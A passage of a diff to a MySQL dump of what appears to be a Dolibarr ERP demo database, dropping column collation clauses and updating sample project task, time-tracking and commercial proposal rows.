12:40:50',3,NULL,'0'); +INSERT INTO `llx_projet_extrafields` VALUES (7,'2018-07-30 15:53:23',8,NULL,'5'),(9,'2018-07-31 14:27:24',9,NULL,'0'),(15,'2017-02-01 12:24:31',7,NULL,'1'),(17,'2019-10-01 11:48:36',6,NULL,'3'),(22,'2019-12-21 15:48:06',10,NULL,'0'),(24,'2019-12-21 15:52:12',12,NULL,'4'),(26,'2019-12-21 15:53:42',13,NULL,'0'),(28,'2019-12-21 16:10:21',11,NULL,'0'),(29,'2020-01-15 12:27:15',5,NULL,'0'),(30,'2020-01-15 12:40:50',3,NULL,'0'),(32,'2023-02-19 12:51:40',2,NULL,'0'); /*!40000 ALTER TABLE `llx_projet_extrafields` ENABLE KEYS */; UNLOCK TABLES; @@ -11266,7 +10475,7 @@ DROP TABLE IF EXISTS `llx_projet_task`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_projet_task` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(50) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, `fk_projet` int(11) NOT NULL, `fk_task_parent` int(11) NOT NULL DEFAULT 0, @@ -11275,8 +10484,8 @@ CREATE TABLE `llx_projet_task` ( `dateo` datetime DEFAULT NULL, `datee` datetime DEFAULT NULL, `datev` datetime DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) NOT NULL, + `description` text DEFAULT NULL, `duration_effective` double DEFAULT 0, `planned_workload` double DEFAULT 0, `progress` int(11) DEFAULT 0, @@ -11285,11 +10494,11 @@ CREATE TABLE `llx_projet_task` ( `fk_user_creat` int(11) DEFAULT NULL, `fk_user_valid` int(11) DEFAULT NULL, `fk_statut` smallint(6) NOT NULL DEFAULT 0, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, `rang` int(11) DEFAULT 0, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `status` int(11) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_projet_task_ref` (`ref`,`entity`), @@ -11308,7 +10517,7 @@ CREATE TABLE `llx_projet_task` ( LOCK TABLES `llx_projet_task` WRITE; /*!40000 ALTER TABLE `llx_projet_task` DISABLE KEYS */; -INSERT INTO `llx_projet_task` VALUES (2,'2',1,5,0,'2012-07-11 16:23:53','2015-09-08 23:06:14','2012-07-11 12:00:00','2013-07-14 12:00:00',NULL,'Heberger site RMLL','',0,0,0,0,NULL,1,NULL,0,NULL,NULL,0,NULL,NULL,1),(3,'TK1007-0001',1,1,0,'2016-12-21 13:52:41','2018-07-30 11:35:40','2016-12-21 16:52:00',NULL,NULL,'Analyze','',9000,36000,0,0,NULL,1,NULL,0,NULL,'gdfgdfgdf',0,NULL,NULL,1),(4,'TK1007-0002',1,1,0,'2016-12-21 13:55:39','2020-06-12 17:13:30','2016-12-21 16:55:00',NULL,NULL,'Specification','',10800,18000,25,0,NULL,1,NULL,0,NULL,NULL,0,NULL,NULL,1),(5,'TK1007-0003',1,1,0,'2016-12-21 14:16:58','2018-07-30 11:35:59','2016-12-21 17:16:00',NULL,NULL,'Development','',0,0,0,0,NULL,1,NULL,0,NULL,NULL,0,NULL,NULL,1),(6,'TK1607-0004',1,6,0,'2018-07-30 15:33:27','2018-07-30 11:34:47','2018-07-30 02:00:00',NULL,NULL,'Project preparation phase A','',75600,720000,10,0,NULL,12,NULL,0,NULL,NULL,0,NULL,NULL,1),(7,'TK1607-0005',1,6,0,'2018-07-30 15:33:39','2017-01-30 11:23:39','2018-07-30 02:00:00',NULL,NULL,'Project preparation phase B','',40260,1080000,5,0,NULL,12,NULL,0,NULL,NULL,0,NULL,NULL,1),(8,'TK1607-0006',1,6,0,'2018-07-30 15:33:53','2018-07-30 11:33:53','2018-07-30 02:00:00',NULL,NULL,'Project execution phase A','',0,162000,0,0,NULL,12,NULL,0,NULL,NULL,0,NULL,NULL,1),(9,'TK1607-0007',1,6,0,'2018-07-30 15:34:09','2018-07-30 11:34:09','2018-10-27 02:00:00',NULL,NULL,'Project execution phase B','',0,2160000,0,0,NULL,12,NULL,0,NULL,NULL,0,NULL,NULL,1),(10,'TK1007-0008',1,1,0,'2018-07-30 15:36:31','2018-07-30 11:36:31','2018-07-30 02:00:00',NULL,NULL,'Tests','',0,316800,0,0,NULL,12,NULL,0,NULL,NULL,0,NULL,NULL,1); +INSERT INTO `llx_projet_task` VALUES (2,'2',1,5,0,'2012-07-11 16:23:53','2015-09-08 23:06:14','2012-07-11 12:00:00','2013-07-14 12:00:00',NULL,'Heberger site RMLL','',0,0,0,0,NULL,1,NULL,0,NULL,NULL,0,NULL,NULL,1),(3,'TK1007-0001',1,1,0,'2016-12-21 13:52:41','2018-07-30 11:35:40','2016-12-21 16:52:00',NULL,NULL,'Analyze','',9000,36000,0,0,NULL,1,NULL,0,NULL,'gdfgdfgdf',0,NULL,NULL,1),(4,'TK1007-0002',1,1,0,'2016-12-21 13:55:39','2020-06-12 17:13:30','2016-12-21 16:55:00',NULL,NULL,'Specification','',10800,18000,25,0,NULL,1,NULL,0,NULL,NULL,0,NULL,NULL,1),(5,'TK1007-0003',1,1,0,'2016-12-21 14:16:58','2018-07-30 11:35:59','2016-12-21 17:16:00',NULL,NULL,'Development','',0,0,0,0,NULL,1,NULL,0,NULL,NULL,0,NULL,NULL,1),(6,'TK1607-0004',1,6,0,'2018-07-30 15:33:27','2023-02-23 21:05:14','2018-07-30 02:00:00',NULL,NULL,'Project preparation phase A','',18000,720000,10,0,NULL,12,NULL,0,NULL,NULL,0,NULL,NULL,1),(7,'TK1607-0005',1,6,0,'2018-07-30 15:33:39','2023-02-23 20:59:16','2018-07-30 02:00:00',NULL,NULL,'Project preparation phase B','',660,1080000,5,0,NULL,12,NULL,0,NULL,NULL,0,NULL,NULL,1),(8,'TK1607-0006',1,6,0,'2018-07-30 15:33:53','2023-02-23 21:11:30','2018-07-30 02:00:00',NULL,NULL,'Project execution phase A','',7200,162000,0,0,NULL,12,NULL,0,NULL,NULL,0,NULL,NULL,1),(9,'TK1607-0007',1,6,0,'2018-07-30 15:34:09','2018-07-30 11:34:09','2018-10-27 02:00:00',NULL,NULL,'Project execution phase B','',0,2160000,0,0,NULL,12,NULL,0,NULL,NULL,0,NULL,NULL,1),(10,'TK1007-0008',1,1,0,'2018-07-30 15:36:31','2018-07-30 11:36:31','2018-07-30 02:00:00',NULL,NULL,'Tests','',0,316800,0,0,NULL,12,NULL,0,NULL,NULL,0,NULL,NULL,1); /*!40000 ALTER TABLE `llx_projet_task` ENABLE KEYS */; UNLOCK TABLES; @@ -11323,7 +10532,7 @@ CREATE TABLE `llx_projet_task_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_projet_task_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -11354,10 +10563,10 @@ CREATE TABLE `llx_projet_task_time` ( `task_duration` double DEFAULT NULL, `fk_user` int(11) DEFAULT NULL, `thm` double(24,8) DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` text DEFAULT NULL, `invoice_id` int(11) DEFAULT NULL, `invoice_line_id` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `intervention_id` int(11) DEFAULT NULL, @@ -11367,7 +10576,7 @@ CREATE TABLE `llx_projet_task_time` ( KEY `idx_projet_task_time_task` (`fk_task`), KEY `idx_projet_task_time_date` (`task_date`), KEY `idx_projet_task_time_datehour` (`task_datehour`) -) ENGINE=InnoDB AUTO_INCREMENT=17 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=19 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -11376,7 +10585,7 @@ CREATE TABLE `llx_projet_task_time` ( LOCK TABLES `llx_projet_task_time` WRITE; /*!40000 ALTER TABLE `llx_projet_task_time` DISABLE KEYS */; -INSERT INTO `llx_projet_task_time` VALUES (2,4,'2016-12-21','2016-12-21 12:00:00',0,3600,1,NULL,'',NULL,NULL,NULL,NULL,'2020-12-10 12:24:40',NULL,NULL,NULL),(3,4,'2016-12-18','2016-12-18 12:00:00',0,3600,1,NULL,NULL,NULL,NULL,NULL,NULL,'2020-12-10 12:24:40',NULL,NULL,NULL),(4,3,'2016-12-21','2016-12-21 12:00:00',0,3600,1,NULL,NULL,NULL,NULL,NULL,NULL,'2020-12-10 12:24:40',NULL,NULL,NULL),(5,3,'2016-12-21','2016-12-21 12:00:00',0,1800,1,NULL,NULL,NULL,NULL,NULL,NULL,'2020-12-10 12:24:40',NULL,NULL,NULL),(6,3,'2016-12-21','2016-12-21 12:00:00',0,3600,1,NULL,NULL,NULL,NULL,NULL,NULL,'2020-12-10 12:24:40',NULL,NULL,NULL),(7,6,'2018-07-25','2018-07-25 00:00:00',0,18000,12,NULL,NULL,NULL,NULL,NULL,NULL,'2020-12-10 12:24:40',NULL,NULL,NULL),(8,6,'2018-07-26','2018-07-26 00:00:00',0,14400,12,NULL,NULL,NULL,NULL,NULL,NULL,'2018-03-16 10:00:54',NULL,NULL,NULL),(9,6,'2018-07-27','2018-07-27 00:00:00',0,14400,12,NULL,NULL,NULL,NULL,NULL,NULL,'2018-03-16 10:00:54',NULL,NULL,NULL),(10,6,'2018-07-29','2018-07-29 00:00:00',0,14400,12,NULL,NULL,NULL,NULL,NULL,NULL,'2018-03-16 10:00:54',NULL,NULL,NULL),(11,6,'2018-07-31','2018-07-31 00:00:00',0,14400,12,NULL,NULL,NULL,NULL,NULL,NULL,'2018-03-16 10:00:54',NULL,NULL,NULL),(12,7,'2018-07-25','2018-07-25 00:00:00',0,10800,12,NULL,NULL,NULL,NULL,NULL,NULL,'2020-12-10 12:24:40',NULL,NULL,NULL),(13,7,'2018-07-26','2018-07-26 00:00:00',0,14400,12,NULL,NULL,NULL,NULL,NULL,NULL,'2018-03-16 10:00:54',NULL,NULL,NULL),(14,7,'2018-07-27','2018-07-27 00:00:00',0,14400,12,NULL,NULL,NULL,NULL,NULL,NULL,'2018-03-16 10:00:54',NULL,NULL,NULL),(15,7,'2017-01-30','2017-01-30 10:00:00',1,660,12,NULL,'',NULL,NULL,NULL,NULL,'2020-12-10 12:24:40',NULL,NULL,NULL),(16,4,'2020-06-13','2020-06-13 00:00:00',0,3600,12,NULL,'',NULL,NULL,NULL,NULL,'2020-06-12 17:13:30',NULL,NULL,NULL); +INSERT INTO `llx_projet_task_time` VALUES (2,4,'2016-12-21','2016-12-21 12:00:00',0,3600,1,NULL,'',NULL,NULL,NULL,NULL,'2020-12-10 12:24:40',NULL,NULL,NULL),(3,4,'2016-12-18','2016-12-18 12:00:00',0,3600,1,NULL,NULL,NULL,NULL,NULL,NULL,'2020-12-10 12:24:40',NULL,NULL,NULL),(4,3,'2016-12-21','2016-12-21 12:00:00',0,3600,1,NULL,NULL,NULL,NULL,NULL,NULL,'2020-12-10 12:24:40',NULL,NULL,NULL),(5,3,'2016-12-21','2016-12-21 12:00:00',0,1800,1,NULL,NULL,NULL,NULL,NULL,NULL,'2020-12-10 12:24:40',NULL,NULL,NULL),(6,3,'2016-12-21','2016-12-21 12:00:00',0,3600,1,NULL,NULL,NULL,NULL,NULL,NULL,'2020-12-10 12:24:40',NULL,NULL,NULL),(7,6,'2018-07-25','2018-07-25 00:00:00',0,18000,12,NULL,NULL,NULL,NULL,NULL,NULL,'2020-12-10 12:24:40',NULL,NULL,NULL),(15,7,'2017-01-30','2017-01-30 10:00:00',1,660,12,NULL,'',NULL,NULL,NULL,NULL,'2020-12-10 12:24:40',NULL,NULL,NULL),(16,4,'2020-06-13','2020-06-13 00:00:00',0,3600,12,NULL,'',NULL,NULL,NULL,NULL,'2020-06-12 17:13:30',NULL,NULL,NULL),(18,8,'2023-02-23','2023-02-23 12:00:00',0,7200,12,NULL,'',NULL,NULL,NULL,'2023-02-23 18:10:26','2023-02-23 21:10:26',NULL,NULL,0); /*!40000 ALTER TABLE `llx_projet_task_time` ENABLE KEYS */; UNLOCK TABLES; @@ -11392,11 +10601,11 @@ CREATE TABLE `llx_propal` ( `fk_soc` int(11) DEFAULT NULL, `fk_projet` int(11) DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `ref` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(30) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_int` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_client` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_ext` varchar(255) DEFAULT NULL, + `ref_int` varchar(255) DEFAULT NULL, + `ref_client` varchar(255) DEFAULT NULL, `datec` datetime DEFAULT NULL, `datep` date DEFAULT NULL, `fin_validite` datetime DEFAULT NULL, @@ -11419,32 +10628,32 @@ CREATE TABLE `llx_propal` ( `localtax2` double(24,8) DEFAULT 0.00000000, `total_ttc` double(24,8) DEFAULT 0.00000000, `fk_account` int(11) DEFAULT NULL, - `fk_currency` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `fk_currency` varchar(3) DEFAULT NULL, `fk_cond_reglement` int(11) DEFAULT NULL, - `deposit_percent` varchar(63) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `deposit_percent` varchar(63) DEFAULT NULL, `fk_mode_reglement` int(11) DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, `date_livraison` date DEFAULT NULL, `fk_shipping_method` int(11) DEFAULT NULL, `fk_warehouse` int(11) DEFAULT NULL, `fk_availability` int(11) DEFAULT NULL, `fk_delivery_address` int(11) DEFAULT NULL, `fk_input_reason` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `fk_incoterms` int(11) DEFAULT NULL, - `location_incoterms` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `location_incoterms` varchar(255) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_tx` double(24,8) DEFAULT 1.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ttc` double(24,8) DEFAULT 0.00000000, - `last_main_doc` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `online_sign_ip` varchar(48) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `online_sign_name` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `last_main_doc` varchar(255) DEFAULT NULL, + `online_sign_ip` varchar(48) DEFAULT NULL, + `online_sign_name` varchar(64) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_propal_ref` (`ref`,`entity`), KEY `idx_propal_fk_soc` (`fk_soc`), @@ -11462,7 +10671,7 @@ CREATE TABLE `llx_propal` ( CONSTRAINT `fk_propal_fk_user_cloture` FOREIGN KEY (`fk_user_cloture`) REFERENCES `llx_user` (`rowid`), CONSTRAINT `fk_propal_fk_user_signature` FOREIGN KEY (`fk_user_signature`) REFERENCES `llx_user` (`rowid`), CONSTRAINT `fk_propal_fk_user_valid` FOREIGN KEY (`fk_user_valid`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=39 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=40 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -11471,7 +10680,7 @@ CREATE TABLE `llx_propal` ( LOCK TABLES `llx_propal` WRITE; /*!40000 ALTER TABLE `llx_propal` DISABLE KEYS */; -INSERT INTO `llx_propal` VALUES (1,2,NULL,'2021-07-11 17:49:28','PR1007-0001',1,NULL,NULL,'','2012-07-09 01:33:49','2021-07-09','2020-07-24 12:00:00','2020-08-08 14:24:18',NULL,NULL,1,NULL,1,NULL,NULL,1,0,NULL,NULL,0,30.00000000,3.84000000,0.00000000,0.00000000,33.84000000,NULL,NULL,1,NULL,0,'','','azur',NULL,NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(2,1,NULL,'2021-07-11 17:49:28','PR1007-0002',1,NULL,NULL,'','2012-07-10 02:11:44','2021-07-10','2020-07-25 12:00:00','2021-07-10 02:12:55','2020-07-20 15:23:12','2020-07-20 15:23:12',1,NULL,1,1,1,2,0,NULL,NULL,0,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,NULL,NULL,1,NULL,1,'','','azur',NULL,NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(3,4,NULL,'2022-02-07 13:37:54','PR1007-0003',1,NULL,NULL,'','2012-07-18 11:35:11','2021-07-18','2021-08-02 12:00:00','2021-07-18 11:36:18','2020-07-20 15:21:15','2021-07-20 15:21:15',1,NULL,1,1,1,2,0,NULL,NULL,0,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,NULL,NULL,1,NULL,0,'','','azur',NULL,NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(5,19,NULL,'2022-07-04 01:11:35','PR1302-0005',1,NULL,NULL,'','2015-02-17 15:39:56','2022-02-17','2022-03-04 12:00:00','2021-11-15 23:27:10',NULL,NULL,1,NULL,12,NULL,NULL,1,0,NULL,NULL,0,10.00000000,2.00000000,0.00000000,0.00000000,12.00000000,NULL,NULL,1,NULL,0,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(6,19,NULL,'2022-07-04 01:11:35','PR1302-0006',1,NULL,NULL,'','2015-02-17 15:40:12','2022-02-17','2022-03-04 12:00:00',NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,0,0,NULL,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,1,NULL,0,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(7,19,NULL,'2022-07-04 01:11:35','PR1302-0007',1,NULL,NULL,'','2015-02-17 15:41:15','2022-02-17','2022-03-04 12:00:00','2021-01-29 21:49:33',NULL,NULL,1,NULL,12,NULL,NULL,1,0,NULL,NULL,0,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,NULL,NULL,1,NULL,0,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,400.00000000,0.00000000,400.00000000,NULL,NULL,NULL),(8,19,NULL,'2022-07-04 01:11:35','PR1302-0008',1,NULL,NULL,'','2015-02-17 15:43:39','2022-02-17','2022-03-04 12:00:00',NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,0,0,NULL,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,1,NULL,0,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(10,7,4,'2022-02-07 13:37:54','PR1909-0031',1,NULL,NULL,'','2017-11-15 23:37:08','2021-11-15','2021-11-30 12:00:00','2022-09-27 16:54:30',NULL,NULL,12,NULL,12,NULL,NULL,1,0,NULL,NULL,0,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,NULL,NULL,1,NULL,3,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',NULL,NULL,1.00000000,10.00000000,0.00000000,10.00000000,'propale/PR1909-0031/PR1909-0031.pdf',NULL,NULL),(11,1,NULL,'2022-07-04 01:11:35','PR1702-0009',1,NULL,NULL,'','2017-02-16 01:44:58','2022-05-13','2022-05-28 12:00:00','2022-02-16 01:44:58',NULL,NULL,1,NULL,1,NULL,NULL,1,0,NULL,NULL,0,60.00000000,0.00000000,0.00000000,0.00000000,60.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,60.00000000,0.00000000,60.00000000,NULL,NULL,NULL),(12,7,NULL,'2022-07-04 01:11:35','PR1702-0010',1,NULL,NULL,'','2017-02-16 01:45:44','2022-06-24','2021-07-09 12:00:00','2022-02-16 01:45:44',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,832.00000000,0.00000000,0.00000000,0.00000000,832.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,832.00000000,0.00000000,832.00000000,NULL,NULL,NULL),(13,26,NULL,'2022-07-04 01:11:35','PR1702-0011',1,NULL,NULL,'','2017-02-16 01:46:15','2022-04-03','2021-04-18 12:00:00','2022-02-16 01:46:15',NULL,NULL,1,NULL,1,NULL,NULL,1,0,NULL,NULL,0,242.00000000,0.00000000,0.00000000,0.00000000,242.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,242.00000000,0.00000000,242.00000000,NULL,NULL,NULL),(14,3,NULL,'2022-07-04 01:11:35','PR1702-0012',1,NULL,NULL,'','2017-02-16 01:46:15','2022-06-19','2021-07-04 12:00:00','2022-02-16 01:46:15',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,245.00000000,0.00000000,0.00000000,0.00000000,245.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,245.00000000,0.00000000,245.00000000,NULL,NULL,NULL),(15,26,NULL,'2022-07-04 01:11:35','PR1702-0013',1,NULL,NULL,'','2017-02-16 01:46:15','2022-05-01','2022-05-16 12:00:00','2021-02-16 01:46:15',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,940.00000000,0.00000000,0.00000000,0.00000000,940.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,940.00000000,0.00000000,940.00000000,NULL,NULL,NULL),(16,1,NULL,'2022-07-04 01:11:35','PR1702-0014',1,NULL,NULL,'','2017-02-16 01:46:15','2022-05-13','2022-05-28 12:00:00','2022-02-16 01:46:15',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,125.00000000,0.00000000,0.00000000,0.00000000,125.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,125.00000000,0.00000000,125.00000000,NULL,NULL,NULL),(17,1,NULL,'2022-02-07 13:37:54','PR1702-0015',1,NULL,NULL,'','2017-02-16 01:46:15','2021-07-23','2021-08-07 12:00:00','2021-02-16 01:46:15',NULL,NULL,1,NULL,1,NULL,NULL,1,0,NULL,NULL,0,163.00000000,0.00000000,0.00000000,0.00000000,163.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,163.00000000,0.00000000,163.00000000,NULL,NULL,NULL),(18,26,NULL,'2022-07-04 01:11:35','PR1702-0016',1,NULL,NULL,'','2017-02-16 01:46:15','2022-02-13','2022-02-28 12:00:00','2022-02-16 01:46:15',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,900.00000000,0.00000000,0.00000000,0.00000000,900.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,900.00000000,0.00000000,900.00000000,NULL,NULL,NULL),(19,12,NULL,'2022-07-04 01:11:35','PR1702-0017',1,NULL,NULL,'','2017-02-16 01:46:15','2022-03-30','2022-04-14 12:00:00','2022-02-16 01:46:15',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,200.00000000,0.00000000,200.00000000,NULL,NULL,NULL),(20,26,NULL,'2022-02-07 13:37:54','PR1702-0018',1,NULL,NULL,'','2017-02-16 01:46:15','2021-11-13','2021-11-28 12:00:00','2021-02-16 01:46:15',NULL,NULL,1,NULL,1,NULL,NULL,1,0,NULL,NULL,0,830.00000000,0.00000000,0.00000000,0.00000000,830.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,830.00000000,0.00000000,830.00000000,NULL,NULL,NULL),(21,1,NULL,'2022-02-07 13:37:54','PR1702-0019',1,NULL,NULL,'','2017-02-16 01:46:15','2021-09-23','2021-10-08 12:00:00','2021-02-16 04:47:09',NULL,NULL,1,NULL,12,NULL,NULL,1,0,NULL,NULL,0,89.00000000,0.00000000,0.00000000,0.00000000,89.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,89.00000000,0.00000000,89.00000000,NULL,NULL,NULL),(22,26,NULL,'2022-02-07 13:37:54','PR1702-0020',1,NULL,NULL,'','2017-02-16 01:46:15','2021-11-13','2021-11-28 12:00:00','2021-02-16 01:46:15',NULL,NULL,1,NULL,1,NULL,NULL,0,0,NULL,NULL,0,70.00000000,0.00000000,0.00000000,0.00000000,70.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,70.00000000,0.00000000,70.00000000,'propale/PR1702-0020/PR1702-0020.pdf',NULL,NULL),(23,12,NULL,'2022-07-04 01:11:35','PR1702-0021',1,NULL,NULL,'','2017-02-16 01:46:17','2022-04-03','2021-04-18 12:00:00','2021-02-17 16:07:18',NULL,NULL,2,NULL,12,NULL,NULL,1,0,NULL,NULL,0,715.00000000,0.00000000,0.00000000,0.00000000,715.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,715.00000000,0.00000000,715.00000000,NULL,NULL,NULL),(24,7,NULL,'2022-02-07 13:37:54','PR1702-0022',1,NULL,NULL,'','2017-02-16 01:46:17','2021-11-13','2021-11-28 12:00:00','2021-02-16 01:46:17',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,250.00000000,0.00000000,0.00000000,0.00000000,250.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,250.00000000,0.00000000,250.00000000,NULL,NULL,NULL),(25,3,NULL,'2021-07-11 17:49:28','PR1702-0023',1,NULL,NULL,'','2017-02-16 01:46:17','2021-07-09','2020-07-24 12:00:00','2021-02-16 01:46:17','2020-02-16 04:47:29','2021-02-16 04:47:29',1,NULL,1,12,12,4,0,NULL,NULL,0,1018.00000000,0.00000000,0.00000000,0.00000000,1018.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,1018.00000000,0.00000000,1018.00000000,NULL,NULL,NULL),(26,1,NULL,'2022-07-04 01:11:35','PR1702-0024',1,NULL,NULL,'','2017-02-16 01:46:17','2022-04-03','2021-04-18 12:00:00','2021-02-16 